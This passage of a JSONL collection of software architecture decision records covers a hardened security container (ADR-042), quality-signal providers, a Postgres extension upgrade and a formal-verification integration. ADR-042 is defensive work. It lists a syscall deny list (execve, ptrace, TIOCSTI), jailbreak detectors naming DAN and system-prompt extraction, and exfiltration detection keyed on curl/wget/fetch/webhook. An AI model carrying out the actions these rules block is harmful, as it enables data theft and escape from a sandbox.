`CONFIG_STRICT_KERNEL_RWX=y` \u2014 W^X enforcement\n- `CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y` \u2014 Memory init on alloc\n- `CONFIG_BLK_DEV_INITRD=y` \u2014 Initramfs support\n- No loadable modules, no debugfs, no procfs write, no sysfs write\n\n### Layer 3: eBPF Enforcement\n\nTwo eBPF programs embedded:\n\n1. **XDP Packet Filter** \u2014 Drop all traffic except allowed ports\n - Allow: TCP 8443 (HTTPS API), TCP 9090 (metrics)\n - Drop everything else at XDP layer (before kernel stack)\n\n2. **Seccomp Syscall Filter** \u2014 Allowlist-only syscalls\n - Allow: read, write, mmap, munmap, close, exit, futex, epoll_*\n - Deny: execve, fork, clone3, ptrace, mount, umount, ioctl(TIOCSTI)\n\n### Layer 4: AIDefence (WASM Engine)\n\nThe WASM segment contains a compiled AIDefence engine with:\n\n| Detector | Latency | Description |\n|----------|---------|-------------|\n| Prompt Injection | <5ms | 30+ regex patterns + semantic similarity |\n| Jailbreak | <5ms | DAN, role manipulation, system prompt extraction |\n| PII Detection | <5ms | Email, phone, SSN, credit card, API keys, IP |\n| Control Characters | <1ms | Unicode homoglyphs, null bytes, escape sequences |\n| Behavioral Analysis | <100ms | EMA baseline deviation per user |\n| Policy Verification | <500ms | Custom pattern matching + domain allowlists |\n\nThreat levels: `none` \u2192 `low` \u2192 `medium` \u2192 `high` \u2192 `critical`\n\nDefault block threshold: `medium` (configurable via META_SEG policy)\n\n### Layer 5: Cryptographic Integrity\n\n- **Ed25519 signing** (RFC 8032): Every segment signed individually\n- **Witness chain**: HMAC-SHA256 hash-chained audit entries\n- **Content hashing**: SHAKE-256 truncated hashes in HardeningFields\n- **SecurityPolicy::Paranoid**: Full chain verification on mount\n- **Key rotation**: Witness entry records rotation event\n\n### Layer 6: Access Control (RBAC + Coherence Gate)\n\n```\nRole Matrix:\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Role \u2502 Write \u2502 Read \u2502 Derive \u2502 Audit \u2502 Gate \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Admin \u2502 \u2713 \u2502 \u2713 \u2502 \u2713 \u2502 \u2713 \u2502 permit \u2502\n\u2502 Operator \u2502 \u2713 \u2502 \u2713 \u2502 \u2717 \u2502 \u2713 \u2502 permit \u2502\n\u2502 Analyst \u2502 \u2717 \u2502 \u2713 \u2502 \u2717 \u2502 \u2713 \u2502 defer \u2502\n\u2502 Reader \u2502 \u2717 \u2502 \u2713 \u2502 \u2717 \u2502 \u2717 \u2502 defer \u2502\n\u2502 Auditor \u2502 \u2717 \u2502 \u2713 \u2502 \u2717 \u2502 \u2713 \u2502 permit \u2502\n\u2502 Guest \u2502 \u2717 \u2502 \u2717 \u2502 \u2717 \u2502 \u2717 \u2502 deny \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\nCoherence Gate thresholds (PolicyKernel segment):\n- `permit_threshold`: 0.85\n- `defer_threshold`: 0.50\n- `deny_threshold`: 0.0\n- `escalation_window_ns`: 300_000_000_000 (5 min)\n- `max_deferred_queue`: 100\n\n## Capabilities Confirmed\n\n| # | Capability | Segment | Verification |\n|---|-----------|---------|-------------|\n| 1 | TEE attestation (SGX, SEV-SNP, TDX, ARM CCA) | CRYPTO_SEG | Quote validation + binding check |\n| 2 | TEE-bound key records | CRYPTO_SEG | Platform + measurement + validity |\n| 3 | Hardened kernel boot | KERNEL_SEG | Flags: SIGNED, REQUIRES_TEE, MEASURED |\n| 4 | KernelBinding anti-tamper | KERNEL_SEG | manifest_root_hash + policy_hash binding |\n| 5 | eBPF packet filter | EBPF_SEG | XDP drop except allowlisted ports |\n| 6 | eBPF syscall filter | EBPF_SEG | Seccomp allowlist enforcement |\n| 7 | AIDefence prompt injection | WASM_SEG | 12 pattern detection |\n| 8 | AIDefence jailbreak detect | WASM_SEG | DAN, role manipulation, 8 patterns |\n| 9 | AIDefence PII scanning | WASM_SEG | Email, SSN, credit card, API keys |\n| 10 | AIDefence code/encoding attack | WASM_SEG | XSS, eval, base64, unicode tricks |\n| 11 | Self-bootstrapping | WASM_SEG x2 | Interpreter + Microkernel dual WASM |\n| 12 | Security monitoring dashboard | DASHBOARD_SEG | Embedded security UI |\n| 13 | Ed25519 segment signing | CRYPTO_SEG | Per-segment cryptographic proof |\n| 14 | Witness chain audit trail | WITNESS_SEG | 30-entry HMAC-SHA256 chain |\n| 15 | Content hash hardening | MANIFEST_SEG | SHAKE-256 content verification |\n| 16 | Security policy (Paranoid) | MANIFEST_SEG | Full chain verification on mount |\n| 17 | RBAC access control | META_SEG | 6 roles with permission matrix |\n| 18 | Coherence Gate authorization | PolicyKernel | Anytime-valid decision with witness receipts |\n| 19 | Key rotation | CRYPTO_SEG + WITNESS | Old key rejected, new key active |\n| 20 | Tamper detection | WITNESS_SEG | 3/3 attacks rejected |\n| 21 | Multi-tenant isolation | Store derivation | Lineage-linked derived stores |\n| 22 | COW branching | Store branching | Forensic-grade immutable snapshots |\n| 23 | Audited k-NN queries | WITNESS_SEG | Witness entry on every search |\n| 24 | Threat vector similarity | VEC_SEG + INDEX | k-NN over 1000 threat embeddings |\n| 25 | Data exfiltration detection | WASM_SEG | curl/wget/fetch/webhook patterns |\n| 26 | Scalar quantization (int8) | rvf-quant | 4x compression, L2 distance preserved |\n| 27 | Binary quantization (1-bit) | rvf-quant | 32x compression, Hamming distance |\n| 28 | Filter deletion + compaction | Store lifecycle | Purge + reclaim dead space |\n| 29 | QEMU requirements check | rvf-launch | Bootability proof (dry-run) |\n| 30 | Freeze/seal | Store freeze | Permanent read-only immutability |\n\n## MCP Tools (Security Container)\n\nWhen served via MCP, the security RVF exposes these tools:\n\n| # | Tool | Description |\n|---|------|-------------|\n| 1 | `aidefence_scan` | Analyze input for all threat types |\n| 2 | `aidefence_sanitize` | Remove/mask dangerous content |\n| 3 | `aidefence_validate_response` | Check LLM output safety |\n| 4 | `aidefence_audit_log` | Get audit trail entries |\n| 5 | `gate_permit` | Request action authorization |\n| 6 | `gate_receipt` | Retrieve witness receipt by sequence |\n| 7 | `gate_replay` | Deterministic decision replay |\n| 8 | `tee_attest` | Generate TEE attestation record |\n| 9 | `tee_verify` | Verify attestation quote |\n| 10 | `tee_bind_key` | Create TEE-bound key record |\n| 11 | `rbac_check` | Verify role permissions |\n| 12 | `rbac_assign` | Assign role to principal |\n| 13 | `threat_search` | k-NN over threat embeddings |\n| 14 | `threat_ingest` | Add new threat signatures |\n| 15 | `witness_chain` | Get/verify witness chain |\n| 16 | `policy_get` | Read security policy config |\n\n## HTTP API Endpoints\n\n```\nPort 8443 (TLS required in production)\n\nPOST /api/v1/scan AIDefence threat analysis\nPOST /api/v1/sanitize Input sanitization\nPOST /api/v1/validate Response validation\nGET /api/v1/audit Audit log (paginated)\nPOST /api/v1/gate/permit Gate authorization request\nGET /api/v1/gate/receipt/:seq Receipt by sequence\nPOST /api/v1/tee/attest Generate attestation\nPOST /api/v1/tee/verify Verify quote\nPOST /api/v1/rbac/check Permission check\nPOST /api/v1/threats/search Threat similarity search\nGET /api/v1/status System health\nGET /api/v1/policy Security policy config\n```\n\n## Implementation\n\n### Files Created\n\n| # | Path | Description |\n|---|------|-------------|\n| 1 | `examples/rvf/examples/security_hardened.rs` | Capstone security RVF example |\n| 2 | `docs/adr/ADR-042-Security-RVF-AIDefence-TEE.md` | This ADR |\n\n### Files Modified\n\n| # | Path | Changes |\n|---|------|---------|\n| 1 | `examples/rvf/Cargo.toml` | Add `security_hardened` example entry |\n\n## Verification\n\n```bash\n# Build the example\ncd examples/rvf && cargo build --example security_hardened\n\n# Run the example (creates + verifies the security RVF)\ncargo run --example security_hardened\n\n# Expected output (v3.0 \u2014 30 capabilities):\n# Phase 1: Threat vector knowledge base (1000 embeddings)\n# Phase 2: Hardened kernel + KernelBinding (KERNEL_SEG)\n# Phase 3: eBPF packet + syscall filters (EBPF_SEG)\n# Phase 4: AIDefence WASM #1 Microkernel (WASM_SEG)\n# Phase 4b: WASM #2 Interpreter (self-bootstrapping)\n# Phase 5: Security monitoring dashboard (DASHBOARD_SEG)\n# Phase 6: TEE attestation (SGX, SEV-SNP, TDX, ARM CCA)\n# Phase 7: TEE-bound key records\n# Phase 8: RBAC access control (6 roles)\n# Phase 9: Coherence Gate policy (PolicyKernel)\n# Phase 10: Scalar + Binary quantization\n# Phase 11: 30-entry witness chain\n# Phase 12: Ed25519 signing + Paranoid verification\n# Phase 13: Tamper detection (3 tests)\n# Phase 14: Filter deletion + compaction\n# Phase 15: Multi-tenant isolation + COW\n# Phase 16: AIDefence live tests (10 threat types)\n# Phase 17: QEMU requirements check\n# Phase 18: Component verification\n# Phase 19: Freeze \u2014 permanent immutability seal\n# All 30 capabilities verified.\n```\n\n## References\n\n- ADR-033: Mandatory manifest signatures + HardeningFields\n- ADR-041: RVF Cognitive Container identification\n- ADR-041a: Detailed container implementations\n- `rvf-types/src/attestation.rs`: AttestationHeader, TeePlatform\n- `rvf-types/src/security.rs`: SecurityPolicy, HardeningFields\n- `rvf-crypto`: Ed25519, witness chains, TEE attestation\n- `ruvbot/src/security/AIDefenceGuard.ts`: AIDefence implementation", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-042-Security-RVF-AIDefence-TEE.md", "created_at": "2026-03-28T11:58:49.439460+00:00", "content_hash": "ed7ce6e47f99613cdebaa62a91cfb69a020f753b9c6bcc83bfa24305466a2417"} +{"id": "5d36332c-1f6b-40c0-a241-b796969e7061", "source": "adr", "text": "# ADR-043: External Intelligence Providers for SONA Learning\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| Status | Accepted |\n| Date | 2025-02-21 |\n| Authors | @grparry (proposal), ruv (implementation) |\n| Supersedes | \u2014 |\n| Origin | PR #190 (renumbered from ADR-029 to avoid collision with ADR-029-rvf-canonical-format) |\n\n## Context\n\nRuvLLM's learning loops \u2014 SONA trajectory recording, HNSW embedding classification, and model router calibration \u2014 depend on quality signals to distinguish good executions from bad ones. Today, those signals come from ruvllm's own inference pipeline: a request completes, a quality score is computed internally, and the score feeds back into the learning loops.\n\nThis works when ruvllm is the entire system. But increasingly, ruvllm operates as one component within larger orchestration pipelines \u2014 workflow engines, CI/CD systems, coding assistants, multi-agent frameworks \u2014 where the *real* quality signal lives outside ruvllm. The external system knows whether the task actually met acceptance criteria, whether tests passed, whether the human reviewer approved or rejected the output. Ruvllm doesn't have access to any of that.\n\n### The Gap\n\nADR-002 established Ruvector as the unified memory layer and defined the Witness Log schema with `quality_score: f32`. ADR-CE-021 established that multiple systems (RuvLLM, Prime-Radiant) can contribute trajectories to a shared SONA instance. But neither ADR addresses **how external systems feed quality data in**.\n\n### Existing Extension Precedents\n\nRuvllm already has well-designed trait-based extension points:\n\n| Trait | Purpose | Location |\n|-------|---------|----------|\n| `LlmBackend` | Pluggable inference backends | `crates/ruvllm/src/backends/mod.rs:756` |\n| `Tokenizer` | Pluggable tokenization | Trait object behind `Option<&dyn Tokenizer>` |\n\nAn intelligence provider follows the same pattern \u2014 a trait that external integrations implement, registered with the intelligence loader at startup.\n\n## Decision\n\n**Option B \u2014 Trait-Based Intelligence Providers**, with a built-in file-based provider as the default implementation.\n\nThis gives the extensibility of a trait interface while keeping the simplicity of file-based exchange for the common case. Non-Rust systems write a JSON file; a built-in `FileSignalProvider` reads it. Rust-native integrations can implement the trait directly for tighter control.\n\n## Architecture\n\n```\nIntelligenceLoader (new component in intelligence module)\n\u251c\u2500\u2500 register_provider(Box)\n\u251c\u2500\u2500 load_all_signals() -> Vec\n\u2502 \u251c\u2500\u2500 iterate registered providers\n\u2502 \u251c\u2500\u2500 call provider.load_signals()\n\u2502 \u2514\u2500\u2500 merge with optional quality_weights()\n\u2514\u2500\u2500 Built-in: FileSignalProvider\n \u251c\u2500\u2500 reads JSON from .claude/intelligence/data/\n \u2514\u2500\u2500 returns Vec\n```\n\n### Integration Points\n\n| Component | How Signals Flow In |\n|-----------|-------------------|\n| SONA Instant Loop | `QualitySignal.quality_score` \u2192 trajectory quality |\n| SONA Background Loop | Batch of signals \u2192 router training data |\n| Embedding Classifier | `task_description` \u2192 embedding, `outcome` \u2192 label |\n| Model Router | `calibration_bias()` on `TaskComplexityAnalyzer` |\n\n### Key Types\n\n```rust\npub struct QualitySignal {\n pub id: String,\n pub task_description: String,\n pub outcome: String, // \"success\", \"partial_success\", \"failure\"\n pub quality_score: f32, // 0.0 - 1.0\n pub human_verdict: Option,\n pub quality_factors: Option,\n pub completed_at: String, // ISO 8601\n}\n\npub struct QualityFactors {\n pub acceptance_criteria_met: Option,\n pub tests_passing: Option,\n pub no_regressions: Option,\n pub lint_clean: Option,\n pub type_check_clean: Option,\n pub follows_patterns: Option,\n pub context_relevance: Option,\n pub reasoning_coherence: Option,\n pub execution_efficiency: Option,\n}\n\npub trait IntelligenceProvider: Send + Sync {\n fn name(&self) -> &str;\n fn load_signals(&self) -> Result>;\n fn quality_weights(&self) -> Option { None }\n}\n```\n\n## Design Constraints\n\n- **Zero overhead when unused.** No providers registered = no behavior change.\n- **File-based by default.** Simplest provider reads a JSON file \u2014 no network calls.\n- **No automatic weight changes.** Providers supply signals; weight changes are human decisions.\n- **Backward compatible.** Existing loading continues unchanged. Providers are additive.\n\n## Existing Code References\n\n| Item | Status | Location |\n|------|--------|----------|\n| `LlmBackend` trait | EXISTS | `crates/ruvllm/src/backends/mod.rs:756` |\n| `record_feedback()` | EXISTS | `crates/ruvllm/src/claude_flow/model_router.rs:646` |\n| `QualityWeights` (metrics) | EXISTS | `crates/ruvllm/src/quality/metrics.rs:262` |\n| `IntelligenceProvider` trait | NEW | `crates/ruvllm/src/intelligence/mod.rs` |\n| `FileSignalProvider` | NEW | `crates/ruvllm/src/intelligence/mod.rs` |\n| `IntelligenceLoader` | NEW | `crates/ruvllm/src/intelligence/mod.rs` |\n| `calibration_bias()` | NEW | `crates/ruvllm/src/claude_flow/model_router.rs` |\n\n## Implementation\n\n### Files Created\n\n| # | Path | Description |\n|---|------|-------------|\n| 1 | `crates/ruvllm/src/intelligence/mod.rs` | IntelligenceProvider trait, QualitySignal, FileSignalProvider, IntelligenceLoader |\n| 2 | `docs/adr/ADR-043-external-intelligence-providers.md` | This ADR |\n\n### Files Modified\n\n| # | Path | Changes |\n|---|------|---------|\n| 1 | `crates/ruvllm/src/lib.rs` | Add `pub mod intelligence;` + re-exports |\n| 2 | `crates/ruvllm/src/claude_flow/model_router.rs` | Add `calibration_bias()` to TaskComplexityAnalyzer |\n\n## Consequences\n\n### Positive\n\n1. **Clean integration boundary.** External systems implement one trait instead of modifying ruvllm internals.\n2. **Follows established patterns.** Same approach as `LlmBackend` \u2014 familiar to anyone who has extended ruvllm.\n3. **Language-agnostic in practice.** Non-Rust systems write JSON; `FileSignalProvider` reads it.\n4. **Graceful when absent.** No providers = no behavior change. File missing = empty signal set.\n5. **Testable.** Providers can be unit-tested independently.\n\n### Negative\n\n1. One more trait to maintain (small surface: 2 required methods, 1 optional).\n2. Non-Rust systems must use the file path unless they write a Rust wrapper.\n\n## Related Decisions\n\n- **ADR-002**: RuvLLM Integration with Ruvector \u2014 Witness Log schema with `quality_score: f32`\n- **ADR-029**: RVF Canonical Format \u2014 (the existing ADR-029, not to be confused with this one)\n- **ADR-CE-021**: Shared SONA \u2014 multiple external systems contributing trajectories\n- **ADR-004**: KV Cache Management \u2014 tiered, policy-driven approach benefiting from better calibration", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-043-external-intelligence-providers.md", "created_at": "2026-03-28T11:58:49.439647+00:00", "content_hash": "42cb048238da2d8390b292e1c16c3664da39a903075bad3d3a320c0b8bf2c7bd"} +{"id": "d4543294-a5ff-43e8-8e00-82d49ebde524", "source": "adr", "text": "# ADR-044: ruvector-postgres v0.3 Extension Upgrade\n\n## Status\n\nAccepted \u2014 Implementation in progress\n\n## Context\n\nruvector-postgres v2.0.4 has 101 SQL functions across 20+ modules. The workspace contains 5 mature crates (`ruvector-solver`, `ruvector-math`, `ruvector-attention`, `sona`, `ruvector-domain-expansion`) with production-quality algorithms not yet exposed as SQL functions. v0.3 integrates these crates without performance regression. All new functionality is feature-gated.\n\n**Current Docker build features**: `pg17,graph-complete,gated-transformer`\n\n## Decision\n\nAdd ~42 new SQL functions in 6 new feature-gated modules, integrating 4 workspace crates. Bump extension version to `0.3.0`. Update Docker build to include Tier 1+2 features.\n\n## New Feature Flags\n\n```toml\nsolver = [\"dep:ruvector-solver\"]\nmath-distances = [\"dep:ruvector-math\"]\ntda = [\"dep:ruvector-math\"]\nattention-extended = [\"attention\", \"dep:ruvector-attention\"]\nsona-learning = [\"dep:ruvector-sona\"]\ndomain-expansion = [\"dep:ruvector-domain-expansion\"]\nanalytics-complete = [\"solver\", \"math-distances\", \"tda\"]\nai-complete-v3 = [\"ai-complete\", \"attention-extended\", \"sona-learning\"]\nall-features-v3 = [\"all-features\", \"analytics-complete\", \"ai-complete-v3\", \"domain-expansion\"]\n```\n\n## New Modules\n\n| Phase | Module | Feature Flag | Functions | Dependency |\n|-------|--------|-------------|-----------|------------|\n| 1 | `solver` | `solver` | 11 | `ruvector-solver` |\n| 2 | `math` | `math-distances` | 12 | `ruvector-math` |\n| 3 | `tda` | `tda` | 7 | `ruvector-math` |\n| 4 | `attention` (extended) | `attention-extended` | 7 | `ruvector-attention` |\n| 5 | `sona` | `sona-learning` | 4 | `sona` |\n| 5 | `domain_expansion` | `domain-expansion` | 1 | `ruvector-domain-expansion` |\n\n## New Functions Summary\n\n### Solver (11)\n- `ruvector_pagerank`, `ruvector_pagerank_personalized`, `ruvector_pagerank_multi_seed`\n- `ruvector_solve_sparse`, `ruvector_solve_laplacian`, `ruvector_effective_resistance`\n- `ruvector_graph_pagerank`, `ruvector_solver_info`, `ruvector_matrix_analyze`\n- `ruvector_conjugate_gradient`, `ruvector_graph_centrality`\n\n### Math Distances & Spectral (12)\n- `ruvector_wasserstein_distance`, `ruvector_sinkhorn_distance`, `ruvector_sliced_wasserstein`\n- `ruvector_kl_divergence`, `ruvector_jensen_shannon`, `ruvector_fisher_information`\n- `ruvector_spectral_cluster`, `ruvector_chebyshev_filter`, `ruvector_graph_diffusion`\n- `ruvector_product_manifold_distance`, `ruvector_spherical_distance`, `ruvector_gromov_wasserstein`\n\n### TDA (7)\n- `ruvector_persistent_homology`, `ruvector_betti_numbers`, `ruvector_bottleneck_distance`\n- `ruvector_persistence_wasserstein`, `ruvector_topological_summary`\n- `ruvector_embedding_drift`, `ruvector_vietoris_rips`\n\n### Extended Attention (7)\n- `ruvector_linear_attention`, `ruvector_sliding_window_attention`, `ruvector_cross_attention`\n- `ruvector_sparse_attention`, `ruvector_moe_attention`, `ruvector_hyperbolic_attention`\n- `ruvector_attention_benchmark`\n\n### Sona & Domain Expansion (5)\n- `ruvector_sona_learn`, `ruvector_sona_apply`, `ruvector_sona_ewc_status`, `ruvector_sona_stats`\n- `ruvector_domain_transfer`\n\n## Performance Targets\n\n| Metric | Target | Method |\n|--------|--------|--------|\n| PageRank 10K nodes | < 50ms | Forward Push O(1/epsilon) |\n| Wasserstein 1K dims | < 10ms | Sinkhorn |\n| Spectral clustering 10K | < 200ms | Chebyshev K=20 |\n| Persistent homology 500 pts | < 100ms | Vietoris-Rips |\n| Linear attention 4K seq | < 2ms | O(n) complexity |\n| Existing functions | No regression | Feature-gated isolation |\n\n## Docker Build Change\n\n```dockerfile\n# Before:\n--features pg${PG_VERSION},graph-complete,gated-transformer\n# After:\n--features pg${PG_VERSION},graph-complete,gated-transformer,analytics-complete,attention-extended\n```\n\n## Compatibility\n\n- `ruvector-solver` and `ruvector-math` use workspace `thiserror = \"2.0\"` while ruvector-postgres uses `thiserror = \"1.0\"`. Errors are mapped at the boundary via `pgrx::error!()`. Both versions coexist via Cargo semver.\n- All new functions are feature-gated, ensuring zero impact on existing builds.\n\n## Verification\n\n```sql\nSELECT ruvector_version();\nSELECT ruvector_pagerank('{\"edges\":[[0,1],[1,2],[2,0]]}'::jsonb);\nSELECT ruvector_wasserstein_distance(ARRAY[0.5,0.5]::real[], ARRAY[0.3,0.7]::real[]);\nSELECT ruvector_persistent_homology('[[1,0],[0,1],[-1,0],[0,-1]]'::jsonb, 1, 3.0);\nSELECT ruvector_linear_attention(ARRAY[1,0,0,0]::real[], '[[1,0,0,0]]'::jsonb, '[[5,10]]'::jsonb);\nSELECT ruvector_solver_info();\n```\n\n## Consequences\n\n- Extension grows from ~101 to ~143 SQL functions\n- Docker image size increases by ~5-10MB due to additional crate dependencies\n- Build time increases by ~30-60s for full feature builds\n- All new functionality is opt-in via feature flags", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-044-ruvector-postgres-v03-extension-upgrade.md", "created_at": "2026-03-28T11:58:49.488354+00:00", "content_hash": "80611d2407c7794d8f43257200b19a9c980c69276795167fe614a306de38666a"} +{"id": "c7425ff4-8f25-43fb-9736-efca90483a1d", "source": "adr", "text": "# ADR-045: Lean-Agentic Integration \u2014 Formal Verification & AI-Native Type Theory for RuVector\n\n## Status\n\nProposed\n\n## Date\n\n2026-02-24\n\n## Authors\n\nruv.io, RuVector Architecture Team\n\n## Deciders\n\nArchitecture Review Board\n\n## SDK\n\nClaude-Flow V3\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-02-24 | ruv.io | Initial deep review and integration proposal |\n| 0.2 | 2026-02-24 | ruv.io | Address all gaps: workspace mechanics, error types, compilable code, WASM strategy, CI/CD, proof attestation, testing, benchmarks, migration, compatibility matrix, consequences |\n| 0.3 | 2026-02-24 | ruv.io | Ultra-optimization addendum: SolverArena bump alloc, SIMD hash probe, fused substitution, thread-local pools, conversion cache, coherence-gated proof routing, bounds-check elimination. Target: 10-20x speedup to sub-100us proofs |\n\n---\n\n## 1. Executive Summary\n\nThis ADR proposes integrating the [`lean-agentic`](https://crates.io/crates/lean-agentic) crate (v0.1.0, Apache-2.0) into the RuVector workspace. Lean-Agentic provides a hash-consed dependent type theory kernel with 150x faster equality checking (0.3ns term comparison), formal verification primitives, and an AI optimization layer including JIT compilation, multi-lane LLM routing, and AgentDB vector memory. Integration gives RuVector proof-carrying vectors, formally verified pipeline invariants, and a compile-time safety layer for critical paths like genomic analysis, financial computation, and cognitive containers.\n\n**Decision**: Add `lean-agentic = \"=0.1.0\"` as a pinned workspace dependency, creating a new `ruvector-verified` bridge crate (independent versioning at `0.1.0`, initially `publish = false`) that maps RuVector primitives to lean-agentic's type system. All verification is feature-gated \u2014 zero impact on existing builds.\n\n**License note**: lean-agentic is Apache-2.0; the RuVector workspace is MIT. These are compatible (Apache-2.0 can be consumed by MIT projects). The new `ruvector-verified` crate will use `MIT OR Apache-2.0` dual licensing to align with both.\n\n---\n\n## 2. Deep Review of `lean-agentic`\n\n### 2.1 Crate Identity\n\n| Field | Value |\n|-------|-------|\n| **Name** | `lean-agentic` |\n| **Version** | 0.1.0 (upstream workspace at 0.3.0) |\n| **Published** | 2025-10-25 |\n| **License** | Apache-2.0 |\n| **Downloads** | ~3,141 total |\n| **Crate size** | 19,333 bytes |\n| **Code** | 1,871 lines across 10 files (core kernel) |\n| **Repository** | [agenticsorg/lean-agentic](https://github.com/agenticsorg/lean-agentic) |\n| **Documentation** | [docs.rs/lean-agentic](https://docs.rs/lean-agentic) |\n| **Publisher** | rUv (ruvnet) |\n| **Categories** | Development tools, Mathematics, WebAssembly |\n| **Keywords** | agentic, dependent-types, formal-verification, lean, theorem-prover |\n\n### 2.2 Workspace Architecture\n\nThe lean-agentic repository is a 10-crate Rust workspace:\n\n```\nlean-agentic/ # Core: hash-consed dependent types (published to crates.io)\nleanr-syntax/ # Surface syntax parsing\nleanr-elab/ # Elaboration (surface -> core)\nleanr-inductive/ # Inductive type definitions\nleanr-eval-lite/ # Lightweight evaluation\nleanr-compat/ # Lean 4 compatibility layer\nleanr-rag-gateway/ # Multi-lane RAG gateway with proof obligations\nleanr-wasm/ # WASM bindings (NOT published to crates.io)\nleanr-theorems/ # Reference theorem implementations\nruntime/ # Agent runtime with work-stealing scheduler\nsrc/ # AI optimization layer (AgentDB, JIT, multi-lane)\n```\n\n**Important**: Only `lean-agentic` (the core kernel) is published to crates.io. The WASM bindings (`leanr-wasm`) and other workspace crates are not published \u2014 WASM support must be built into `ruvector-verified` directly.\n\n### 2.3 Core Kernel Analysis (lean-agentic crate)\n\nThe published crate implements a **trusted type theory kernel** for Lean 4 in Rust. Total: ~76.6KB across 10 source files.\n\n#### Module Breakdown\n\n| Module | Size | Purpose |\n|--------|------|---------|\n| `arena.rs` | 6.6KB | Hash-consing arena with deduplication (85% memory reduction) |\n| `term.rs` | 6.5KB | Dependent type terms: Sort, Const, Var, App, Lam, Pi, Let, MVar, Lit |\n| `typechecker.rs` | 11.1KB | Trusted kernel: bidirectional type inference/checking |\n| `conversion.rs` | 13.3KB | Definitional equality via WHNF (beta/delta/zeta/iota reduction) |\n| `unification.rs` | 11.8KB | First-order constraint solving with occurs check |\n| `environment.rs` | 9.0KB | Global declarations and constant definitions |\n| `context.rs` | 6.1KB | Local variable typing context |\n| `level.rs` | 6.3KB | Universe levels for predicative type system |\n| `symbol.rs` | 3.7KB | Name interning for memory-efficient identifiers |\n| `lib.rs` | 2.3KB | Module exports and error types |\n\n#### Key Data Structures\n\n```rust\n// Hash-consed term identifier -- O(1) equality via pointer comparison\n#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash, PartialOrd, Ord)]\npub struct TermId(u32);\n\n// Core term variants\npub enum TermKind {\n Sort(LevelId), // Type universes\n Const(SymbolId, Vec), // Named constants\n Var(u32), // De Bruijn indexed variables\n App(TermId, TermId), // Function application\n Lam(Binder, TermId), // Lambda abstraction\n Pi(Binder, TermId), // Dependent function types\n Let(Binder, TermId, TermId), // Let bindings\n MVar(MetaVarId), // Metavariables for elaboration\n Lit(Literal), // Nat/String literals\n}\n\n// Binder with implicit/explicit annotation\npub struct Binder {\n pub name: SymbolId,\n pub ty: TermId,\n pub implicit: bool,\n pub info: BinderInfo, // Default, Implicit, StrictImplicit, InstImplicit\n}\n\n// Arena with deduplication cache\npub struct Arena {\n terms: Vec,\n cache: HashMap>,\n stats: ArenaStats,\n}\n```\n\n#### Type Checker Architecture\n\nThe type checker implements a **bidirectional** algorithm:\n\n1. **`infer(term)`** -- Synthesizes a type for a term:\n - Sort: returns Sort(level+1)\n - Const: looked up in environment\n - Var: looked up in context\n - App: infers function type, WHNF-reduces to Pi, checks argument\n - Lam: extends context, infers body type, constructs Pi\n - Pi: checks domain and codomain are sorts, computes max level\n - Let: type-checks value, substitutes into body\n\n2. **`check(term, expected_type)`** -- Verifies term has expected type via definitional equality\n\n3. **`check_declaration(decl)`** -- Validates declarations before environment admission\n\n#### Conversion Engine\n\nWHNF reduction with fuel (10,000 step limit):\n- **Beta reduction**: `(Lx.t) s -> t[x:=s]`\n- **Delta reduction**: Constant unfolding for reducible definitions\n- **Zeta reduction**: Let-expression substitution\n- **Iota reduction**: Pattern matching (placeholder)\n- **Memoization cache** keyed on (term, context_length)\n- **Substitution** with proper De Bruijn index shifting\n\n#### Unification Engine\n\nFirst-order unification for dependent types:\n- Three constraint types: `Unify(t1, t2)`, `IsSort(t)`, `HasType(m, t)`\n- Occurs check preventing infinite types\n- Structural decomposition of App, Lam, Pi\n- Fixed-point substitution application\n\n### 2.4 AI Optimization Layer (workspace src/)\n\nBeyond the core kernel, the upstream workspace provides four AI-native modules (not published to crates.io, listed for context):\n\n| Module | Purpose |\n|--------|---------|\n| **AgentDB** | Vector memory with `AgentDb`, `AgentDbConfig`, `Episode`, `SemanticFact` |\n| **LLM Compiler** | AI-driven compilation with optimization passes |\n| **JIT Runtime** | 4-tier adaptive JIT (interpreter to 200x optimization) |\n| **Multi-Lane** | Cost-optimized LLM routing (40%+ savings) |\n\n### 2.5 Performance Characteristics\n\n| Metric | Value | Notes |\n|--------|-------|-------|\n| Term equality | 0.3ns | Hash-consed pointer comparison |\n| Memory reduction | 85% | Arena deduplication |\n| Agent spawn | <500ns | Work-stealing scheduler |\n| Vector search P99 | <10ms | AgentDB integration |\n| Cache hit rate | 95%+ | Memoized WHNF |\n| Compilation | <100ms | Incremental, function-level |\n| Key generation | 152us | Ed25519 proof signatures |\n\n### 2.6 Dependency Profile\n\nThe published `lean-agentic` crate has **zero mandatory dependencies**. Optional feature:\n- `serde` -- serialization support\n\nThe upstream workspace-level dependencies (not pulled by the published crate) include:\n- `tokio` (async), `serde`/`bincode` (serialization)\n- 